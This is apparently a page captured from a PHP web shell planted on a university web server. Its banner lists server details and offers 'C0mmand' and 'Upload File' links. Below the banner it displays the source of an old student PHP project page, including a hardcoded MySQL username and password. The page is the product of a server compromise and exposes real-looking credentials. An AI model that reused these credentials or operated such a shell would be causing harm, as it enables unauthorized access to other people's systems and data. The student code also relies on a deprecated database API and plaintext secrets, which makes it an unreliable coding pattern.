|
Server IP : 172.16.15.8 / Your IP : 13.58.18.135 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/slcebula/public_html/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<!--
Name: Lee Cebula
Date: 5/4/09
Instructor: Dr. Wang
Title: proj_display.html
Goal: Display page for the project
-->
<HTML>
<HEAD>
<TITLE>
Display
</TITLE>
</HEAD>
<BODY BGCOLOR=marroon>
<FONT COLOR=gold>
<?php
$server = 'localhost';
$user = 'slcebula';
$pass = 'stce2607';
$mydb = 'slcebula';
$table_name = 'ClassProject';
$connect = mysql_connect($server, $user, $pass);
if(!$connect)
{
die ("Cannot connect to $server using $user");
}
else
{
$SQLcmd = "SELECT * FROM $table_name";
mysql_select_db($mydb);
$results_id = mysql_query($SQLcmd, $connect);
if($results_id)
{
print "<CENTER><B>Here is the table: </B><BR><BR>";
print "<TABLE BORDER=1>";
print "<TH>ID<TH>Gender<TH>Class<TH>Course Number<TH>Q1<TH>Q2<TH>Q3<TH>Q4<TH>Q5";
while($row=mysql_fetch_row($results_id))
{
print "<TR>";
foreach ($row as $field) print"<TD>$field</TD>";
print "</TR>";
}
}
else die ("Table Display Failed SQLcmd=$SQLcmd");
mysql_close($connect);
}
print "</TABLE>";
print "<BR>";
print "<BR><IMG SRC=proj_display.jpg WIDTH=400 HEIGHT=400></CENTER>";
?>
</FONT>
</BODY>
</HTML>